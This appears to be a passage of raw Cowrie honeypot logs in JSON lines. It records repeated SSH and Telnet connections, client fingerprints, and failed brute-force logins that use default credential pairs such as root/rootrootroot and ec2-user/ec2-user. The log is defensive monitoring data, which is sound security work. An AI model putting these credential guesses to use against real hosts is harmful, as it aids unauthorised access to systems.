{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:35.765554Z","src_ip":"176.65.139.103","session":"054251474d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.637678861618042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:36.206225Z","src_ip":"108.61.242.114","session":"e3022f617be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:36.866051Z","src_ip":"176.65.139.103","session":"054251474d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7077374458313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:36.891247Z","src_ip":"185.111.235.80","session":"2c3e49bbaa9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ade4657629","protocol":"telnet","message":"New connection: 108.61.242.114:40728 (10.17.0.5:23) [session: c3ade4657629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:37.099472Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37280,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c90be54100","protocol":"telnet","message":"New connection: 108.61.242.114:37280 (10.17.0.5:23) [session: e0c90be54100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:38.082141Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40458,"dst_ip":"10.17.0.5","dst_port":23,"session":"5440f7d40463","protocol":"telnet","message":"New connection: 185.111.235.80:40458 (10.17.0.5:23) [session: 5440f7d40463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:38.105862Z"}
{"eventid":"cowrie.session.closed","duration":31.03638482093811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:38.233952Z","src_ip":"108.61.242.114","session":"c7934fec0442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42403268814087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:39.050674Z","src_ip":"108.61.242.114","session":"259b3f39d0fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37290,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a928d63563","protocol":"telnet","message":"New connection: 108.61.242.114:37290 (10.17.0.5:23) [session: f0a928d63563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:39.831914Z"}
{"eventid":"cowrie.session.closed","duration":30.144794702529907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:39.906155Z","src_ip":"185.111.235.80","session":"42b97802de86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48542,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92d4712a5ff","protocol":"telnet","message":"New connection: 185.111.235.80:48542 (10.17.0.5:23) [session: d92d4712a5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:40.098174Z"}
{"eventid":"cowrie.session.closed","duration":30.884364366531372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:41.013216Z","src_ip":"185.111.235.80","session":"b32135c0739e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964820861816406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:41.042469Z","src_ip":"185.111.235.80","session":"5fb1da5fa175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744038820266724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:41.094784Z","src_ip":"185.111.235.80","session":"e45341dfb272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08694624900818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:41.210336Z","src_ip":"108.61.242.114","session":"d362df3d01de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54176,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e0b059e7f2","protocol":"telnet","message":"New connection: 185.111.235.80:54176 (10.17.0.5:23) [session: 68e0b059e7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:41.436926Z"}
{"eventid":"cowrie.session.closed","duration":30.575194358825684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:42.001725Z","src_ip":"185.111.235.80","session":"69aa985f1f25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49508,"dst_ip":"10.17.0.5","dst_port":22,"session":"052b44fa0954","protocol":"ssh","message":"New connection: 176.65.139.103:49508 (10.17.0.5:22) [session: 052b44fa0954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:42.277925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:42.283936Z","src_ip":"176.65.139.103","session":"052b44fa0954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:42.375223Z","src_ip":"176.65.139.103","session":"052b44fa0954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:42.706930Z","src_ip":"176.65.139.103","session":"052b44fa0954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.904337406158447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:43.352240Z","src_ip":"108.61.242.114","session":"3394b101e52c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e069272aa22a","protocol":"telnet","message":"New connection: 108.61.242.114:37302 (10.17.0.5:23) [session: e069272aa22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:43.452602Z"}
{"eventid":"cowrie.session.closed","duration":31.660775661468506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:43.746502Z","src_ip":"185.111.235.80","session":"7323cc858a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:44.027265Z","src_ip":"176.65.139.103","session":"052b44fa0954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37308,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32e443f87da","protocol":"telnet","message":"New connection: 108.61.242.114:37308 (10.17.0.5:23) [session: b32e443f87da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:44.140077Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37322,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2d21c34536","protocol":"telnet","message":"New connection: 108.61.242.114:37322 (10.17.0.5:23) [session: 8b2d21c34536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:44.983834Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37340,"dst_ip":"10.17.0.5","dst_port":23,"session":"80aaaba03542","protocol":"telnet","message":"New connection: 108.61.242.114:37340 (10.17.0.5:23) [session: 80aaaba03542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:45.417886Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37354,"dst_ip":"10.17.0.5","dst_port":23,"session":"8401b0efc2d6","protocol":"telnet","message":"New connection: 108.61.242.114:37354 (10.17.0.5:23) [session: 8401b0efc2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:45.461407Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37368,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec32e162518","protocol":"telnet","message":"New connection: 108.61.242.114:37368 (10.17.0.5:23) [session: eec32e162518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:45.883790Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c340b7f4625e","protocol":"telnet","message":"New connection: 108.61.242.114:37294 (10.17.0.5:23) [session: c340b7f4625e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:46.105092Z"}
{"eventid":"cowrie.session.closed","duration":30.49701452255249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:46.123117Z","src_ip":"185.111.235.80","session":"00d14f4ed048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37324,"dst_ip":"10.17.0.5","dst_port":23,"session":"da143e47c3c9","protocol":"telnet","message":"New connection: 108.61.242.114:37324 (10.17.0.5:23) [session: da143e47c3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:46.229209Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33854,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33b87d89a56","protocol":"telnet","message":"New connection: 185.111.235.80:33854 (10.17.0.5:23) [session: d33b87d89a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:46.306194Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37374,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a7f985d5d7f","protocol":"telnet","message":"New connection: 108.61.242.114:37374 (10.17.0.5:23) [session: 4a7f985d5d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:46.384646Z"}
{"eventid":"cowrie.session.closed","duration":30.92013692855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:46.676227Z","src_ip":"108.61.242.114","session":"e6e44cc4d092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161718606948853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:46.689178Z","src_ip":"108.61.242.114","session":"00bf8007e0ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33066201210022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:47.024003Z","src_ip":"108.61.242.114","session":"8432578acd43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533651113510132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:47.215760Z","src_ip":"185.111.235.80","session":"84a2f02fe2ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169116735458374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:47.328321Z","src_ip":"108.61.242.114","session":"1ae47627aa5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":37382,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3e65b2545fe","protocol":"telnet","message":"New connection: 108.61.242.114:37382 (10.17.0.5:23) [session: f3e65b2545fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:47.480211Z"}
{"eventid":"cowrie.session.closed","duration":31.178494930267334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:47.704369Z","src_ip":"185.111.235.80","session":"7b6bf330aaf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773910522460938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:47.938740Z","src_ip":"185.111.235.80","session":"1d2270da0e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521066188812256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:47.996322Z","src_ip":"185.111.235.80","session":"fe07e51f11e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54046,"dst_ip":"10.17.0.5","dst_port":23,"session":"75bb0171d025","protocol":"telnet","message":"New connection: 185.111.235.80:54046 (10.17.0.5:23) [session: 75bb0171d025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:48.123469Z"}
{"eventid":"cowrie.session.closed","duration":30.98576831817627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:48.162703Z","src_ip":"108.61.242.114","session":"8573740b3f64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94689965248108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:48.188640Z","src_ip":"108.61.242.114","session":"3d149ae8ffbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093552589416504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:48.266758Z","src_ip":"108.61.242.114","session":"a7ae4a2d5141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933724641799927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:48.971072Z","src_ip":"185.111.235.80","session":"523aae7624d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693559646606445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:49.107773Z","src_ip":"108.61.242.114","session":"84b99c44caa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":41686,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1a9b29f2ed","protocol":"telnet","message":"New connection: 108.61.242.114:41686 (10.17.0.5:23) [session: dd1a9b29f2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:49.286138Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52056,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f307f6ff305","protocol":"ssh","message":"New connection: 176.65.139.103:52056 (10.17.0.5:22) [session: 7f307f6ff305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:49.501482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:49.507600Z","src_ip":"176.65.139.103","session":"7f307f6ff305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60394,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbcc1107ab69","protocol":"telnet","message":"New connection: 185.111.235.80:60394 (10.17.0.5:23) [session: fbcc1107ab69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:49.536985Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:49.692991Z","src_ip":"176.65.139.103","session":"7f307f6ff305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56932830810547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:50.087080Z","src_ip":"108.61.242.114","session":"d5035013ec9b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:50.185513Z","src_ip":"176.65.139.103","session":"7f307f6ff305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":41700,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9660085cd37","protocol":"telnet","message":"New connection: 108.61.242.114:41700 (10.17.0.5:23) [session: d9660085cd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:50.314827Z"}
{"eventid":"cowrie.session.closed","duration":31.014395236968994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:50.797287Z","src_ip":"108.61.242.114","session":"2811efaaa061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:51.303211Z","src_ip":"176.65.139.103","session":"7f307f6ff305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.867764472961426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:51.380311Z","src_ip":"108.61.242.114","session":"e4b0c33ef34b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25437331199646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:52.363976Z","src_ip":"185.111.235.80","session":"26c6ef2aa3d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.142454147338867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:52.750199Z","src_ip":"185.111.235.80","session":"a9b6a7c3eaa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881874799728394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:52.939297Z","src_ip":"185.111.235.80","session":"4ca410588628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"8952a848222d","protocol":"telnet","message":"New connection: 108.61.242.114:41712 (10.17.0.5:23) [session: 8952a848222d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:53.531130Z"}
{"eventid":"cowrie.session.closed","duration":30.410417556762695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:54.334802Z","src_ip":"108.61.242.114","session":"5dc5eaf84e80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.421319723129272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:54.532501Z","src_ip":"108.61.242.114","session":"9375e56d03f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087247848510742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:55.076413Z","src_ip":"117.120.7.112","session":"79e0db52c72c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55350,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f89c9a378c","protocol":"telnet","message":"New connection: 185.111.235.80:55350 (10.17.0.5:23) [session: a9f89c9a378c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:55.170151Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":41716,"dst_ip":"10.17.0.5","dst_port":23,"session":"f138794e45ed","protocol":"telnet","message":"New connection: 108.61.242.114:41716 (10.17.0.5:23) [session: f138794e45ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:55.564165Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52216,"dst_ip":"10.17.0.5","dst_port":22,"session":"e440099305c3","protocol":"ssh","message":"New connection: 176.65.139.103:52216 (10.17.0.5:22) [session: e440099305c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:56.606028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:56.616984Z","src_ip":"176.65.139.103","session":"e440099305c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.189","src_port":61810,"dst_ip":"159.203.135.109","dst_port":22,"session":"fda935c71ac9","protocol":"ssh","message":"New connection: 147.185.132.189:61810 (159.203.135.109:22) [session: fda935c71ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:56.638804Z"}
